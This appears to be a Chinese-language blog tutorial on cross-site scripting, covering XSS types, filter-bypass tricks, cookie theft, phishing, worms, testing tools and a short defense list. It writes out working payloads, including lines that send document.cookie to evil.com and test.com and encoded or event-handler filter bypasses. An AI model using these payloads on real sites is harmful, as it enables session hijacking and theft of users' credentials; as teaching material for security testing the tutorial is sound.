• XSS初探


    1 什么是XSS跨站脚本

       跨站脚本是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采取Cookie资料盗取、会话劫持、钓鱼欺骗等各种攻击。

       XSS跨站脚本本身对WEB服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。

    2 为什么XSS跨站漏洞会如此普遍和流行?这是由多个因素造成的

    2.1、Web 浏览器本身的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来创建各种格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否恶意。

    2.2、 输入与输出是Web应用程序最基本的交互,在这过程之中若没有做好安全防护,web程序很容易会出现XSS漏洞。

    2.3、 现在的应用程序大部分是通过安全团队合作完成的,程序员之间的水平参差不齐,很少有人受过正规培训,因此,开发的产品难免出现问题。

    2.4、不管是开发人员还是安全工程师,很多都没有真正意识到XSS的真正危害

    2.5、触发跨站脚本的方式非常简单,只要向HTML代码中注入脚本即可

    3 XSS跨站脚本实例

      HTML的script元素标记中间包含JavaScript,这使浏览器知道:当它遇到这一标记时,不应该将此标记内容成HTML或XHTML,从这一点开始,对于内容的控制权已转移给另一个内置浏览器代理---脚本引擎处理。

      XSS 攻击就是将非法的JavaScript、VBscript等脚本注入到用户浏览的网页上执行,而Web浏览器本身的设计是不安全的,它只负责解释和执行Javascript等脚本语言,而不会判断代码本身是否对用户有害。

    4 XSS 可能会给网站和用户带来的危害简单概括如下:

    4.1、网络钓鱼,包括盗取各类用户帐号;

    4.2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作

    4.3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转帐、强制发表日志、 发送电子邮件等

    4.4、强制弹出广告页面、刷流量等

    4.5、网页挂马

    4.6、进行恶意操作,例如任意纂改页面信息、删除文章等

    4.7、进行大量的客户端攻击,如DDoS攻击

    4.8、获取客户端信息,例如用户浏览历史、真实IP、开放端口等

    4.9、控制受害者机器向其他网站发起攻击

    4.10、结合其他漏洞,如csrf漏洞,实施进一步作恶

    4.11、提升用户权限,包括进一步渗透网站

    4.12、传播跨站脚本蠕虫等

    5 XSS分类

    5.1、 反射型XSS

       反射型xss利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意javaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。

    5.2、 持久性XSS

    6、XSS的发掘

    众所周知,数据交互(即输入/输出)的地方最容易产生跨站脚本,因此,我们可以着重对网站的输入框、URL参数处进行测试。当然,所有来自COOKIE、POST表单、HTTP头的内容都可能会产生。

    </textarea><script>alert(/XSS/)</script><textarea>

    6.1、测试用例

    <script>alert(1);</script>

    <script>alert('XSS');</script>

    <script src="http://www.evil.com/cookie.php"></script>

    <script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>

    <script>alert(String.fromCharCode(88,83,83))</script>

    <IMG SRC=javascript:alert(String.fromChar(88,83,83))>

    "><script>alert(0)</script>

    ......

    6.2、XSS Filter

    1、利用<>标记注射<script>Html/Javascript

    如果用户可以随心所欲地引入<>等标记,那么他就能操作一个HTML标签,然后通过<script>标签就能任意插入由JavaScript或Vbscript编写的恶意脚本代码。

    如:<script>alert('XSS');</script>

    因此,XSSFilter首当其冲要进行过滤和转义的就是"<>"或<script>等字符。

    如此一来,某些形式的XSS即不复存在。

    2、利用HTML标签属性值执行XSS

    假设用户不能构造自己的HTML标记,但是他们还可以使用其他形式来执行XSS,例如HTML标签的属性值。

    很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。

    所以,用户可以利用部分HTML标记的属性值进行XSS,请看下面的代码:

    <table backgroup="javascript:alert(/xss/)"></table>

    <img src="javascript:alert('XSS');">

    3、空格回车Tab

    如果XSS Filter仅仅把敏感的输入字符例入黑名单,如对敏感自javascript而言,用户可以利用空格、回车和Tab键绕过限制,请看下面的例子:

    <img src="javas    cript:alert(/xss/)" width=100>

    使用关键字拆分的技巧,用户就能突破过滤器的限制,当然,这种技巧不局限在[tab]键,还可以使用回车、空格之类的其他键位符。

    4、对标签属性值转码

    对普通HTML标记的属性值进行过滤,用户还可以通过编码处理来绕过,因此HTML中属性值本身支持ASCII码形式。ASCII码,即美国信息互换标准代码,是目前计算机最通用的编码标准。因为计算机只能接受数字信息,ASCII码将字符作为数字来表示,以便计算机能够接受和处理,比如大写字母A的ASCII码是65

    根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('xss');">

    替换成:

    <img src="javascrip&#116&#58alert(/xss/);">

    所以,为了防范利用HTML标签属性值编码XSS,最好也过滤&#等字符。

    5、产生自己的事件

    现在,假设用户不能依靠属性值进行跨站,那还有没有其他方法?答案是肯定的,事件就是其中一种方法

    既然事件能让JavaScript代码运行,就意味着用户也能利用它执行跨站脚本如:

    <img src="#" onerror=alert(/xss/)>

    6、利用CSS跨站剖析

    7、扰乱过滤规则

    利用前面所述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的重重过滤。

    程序员在汲取各种经验后,在开发过程中可能已经仔细考虑到各种触发XSS的情况,然后部署好严谨措施,如此一来,系统也变得更加牢固、安全。但不要太自信,请继续看下面示例:

    大小写转换

    大小写混淆

    不用双引号,而用单引号

    不使用引号

    8、利用字符编码

    HTML标签中的某些属性值可以使用&#ASCII方式进行编码改写,这种XSS转码支持十进制和十六进制形式。

    为了方便测试,我们接下来使用一个XSS编码工具,以便对字符进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码

    另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码

    eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函数使用。String.fromcharcode()用于将字符转为ASCII值。

    JavaScript支持unicode、escapes、十六进制、八进制等编码形式,这种编码技术如果运用于跨站攻击,无疑能大大加强XSS的威力。

    9、拆分跨站法

     

    XSS利用方式剖析

     

    1 Cookie窃取攻击剖析

    攻击者通常利用网站的XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型XSS),攻击者就可以向漏洞页面写入窃取Cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就能够获取受害者当前浏览器中的cookie会话攻击。

    2 Cookie会话攻击原理剖析

    <script

    document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie

    </script>

    3 Cookie 欺骗实例剖析

    XSS Expliot如下:

    http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>

    XSS Phishing

    XSS Phishing Expliot

    http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>

    1、XSS重定向钓鱼

    2、HTML注入式钓鱼

    3、XSS跨框架钓鱼

    4、Flash钓鱼

    4 客户端信息刺探

    1 javascript实现端口扫描

    2 获取剪贴板内容

    3 获取客户端IP地址

    5 其它恶意攻击剖析

    1 网页挂马

    2 DDOS

    3 XSS Virus/Worm

     

    XSS测试和工具剖析

     

    1、firebug

    2、Tamper Data

    3、Live HTTP Headers

    4、Fiddler

    5、XSS-Proxy

    6、AttackAPI

    7、Anehta

    8、 XSS Shell

    发掘XSS漏洞剖析

    黑盒测试工具

    1、Acunetix Web Vulnerability Scanner

    2、XSSDetect

    3、Ratproxy

    黑盒手动测试

    如果针对页面的输入框进行测试,首先可以输入一些触发XSS的敏感字符,如:

    < > " ' & #

    为了实现准确性和全面性,这里首先选择输入特殊字符进行测试。在输入框中输入"<XSS>"'&"并提交,然后在提交后的页面查看源代码,根据关键字“XSS”查找源代码中的"<XSS>"'&"是否已经被过滤和转义。如果连最基本的"<>"字符未被转义,说明这个输入框可能存在XSS漏洞,借此再构造完整XSS代码测试。

     

    XSS Worm 剖析

    一个完整的XSS Worm攻击流程如下

    1、攻击者发现目标存在XSS漏洞,并且可以编写XSS蠕虫

    2、利用一个宿主(如博客空间)作为传播源头进行XSS攻击

    3、当其他用户访问北感染的空间时,XSS蠕虫执行以下操作

    判断用户是否登录,如果已登录就执行下一步:如果没登录则执行其他操作

    继续判断用户是否被感染,如果没有就将其感染,如果已感染则跳过

    Flash应用安全

    编译好flash文件,将文件命名为xss.swf,然后新建一个HTML文件并嵌入该Flash文件:

    <object id="test" width="200" height="150">

     <param name=movie value="Movie.swf">

       <embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">

       </embed>

    </object>

    利用嵌入web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用<embed>或<object>标签引入Flash时提供的一个控制属性,决定了Flash是否能执行脚本代码。

    Flash在客户端提供了两个控制属性:allowScriptAccess属性和allowNetworking属性,其中AllowScriptAccess控制Flash与HTML页面通信,如果设置不恰当会导致XSS;而AllowNetworking控制Flash与外部网络的通信,如果设置不当会导致CSRF。

     

    深入XSS

    利用Data URIS进行XSS剖析

    Data URI方案和MHTML有些类似,提供了一种通过base64编码在网页中直接潜入文件的方法,利用该方法可以绕过基于黑名单过滤的XSS防御系统。

    Data URI 格式:

    data:[<mime type>] [;charset=<charset>][;base64],<encode data>

    Data URI最有趣的地方是可以让用户把文件嵌入到其他文件中

     

    Data URIS XSS

    data URI提供了一个在HTML或者CSS文件中嵌入图片的方法,但没有严格指定嵌入的文件必须是图片,也就是说,我们可以在base64编码后嵌入任何类型的文件,甚至HTML本身。

    <a href="data:text/html;base64,PHNj......">test<a>

    <object data="data:text/html;base64,PHNj......"></object>

     

    防御XSS攻击

     

    1、使用XSS Filter

    输入过滤

    输出编码

    黑名单和白名单

    2、定制过滤策略

    3、Web定制编码规范

    4、防御DOM-Based XSS

    5、其他防御方式

     

    XSS与字符编码的那些事儿

    html实体编码(10进制与16进制)

    如把尖括号编码[<] ------>html十进制;&#60; html十六进制:&#x3c

    html实体编码本身存在的意义是防止与HTML本身语义标记的冲突,但是在XSS中却成为了我们的一大利器。

    javascript的八进制跟十六进制

    如把尖括号编码[<] ------> js八进制:74 js十六进制:x3c

    jsunicode编码

    如把尖括号编码[<] ------>jsunicode:u003c

    url编码base64

    如把尖括号编码[<] ------>url: %3c base64: PA==

     

    HTTP请求头

    消息头           解释

    Host           请求的域名

    User-Agent        客户端浏览器型号

    Accept          可接受的内容类型

    Accept-Language      可接受的语言

    Accept-Encoding      可接受的压缩类型

    Accept-Charset      可接受的内容编码

    Cookie          客户端的用户Cookie

    if-Modified-Since     客户端的缓存的最后修改时间

    if-None-Match       客户端缓存文件的标示符

     

    HTTP响应报头

    消息头               解释

    Server          Web服务器软件名称

    Vary           告诉下游代理是使用缓存响应还是从原始服务请求

    Date           原始服务器消息发出的时间

    Last-Modified      请求资源的最后修改时间

    Location         用来重定向接收方到非请求URL的位置来完成请求或标识新的资源

    Content-Encoding     Web服务器支持的返回内容压缩编码类型

    Content-Type       返回内容的MIME类型

    Content-Length      响应体的长度

    Content-Language     响应的语言

  • 相关阅读:
    怎么获取数组中的对象的某一项之和
    原型链
    js的事件循环(Eventloop) 机制/js的宏任务微任务执行顺序
    怎么替换数组中对象的属性
    求对象所有值的和
    sequelize中duplicating:false的使用
    WebSocket
    轮播

    ssl tsl
  • 原文地址:https://www.cnblogs.com/linuxsec/p/6079017.html
Copyright © 2020-2023  润新知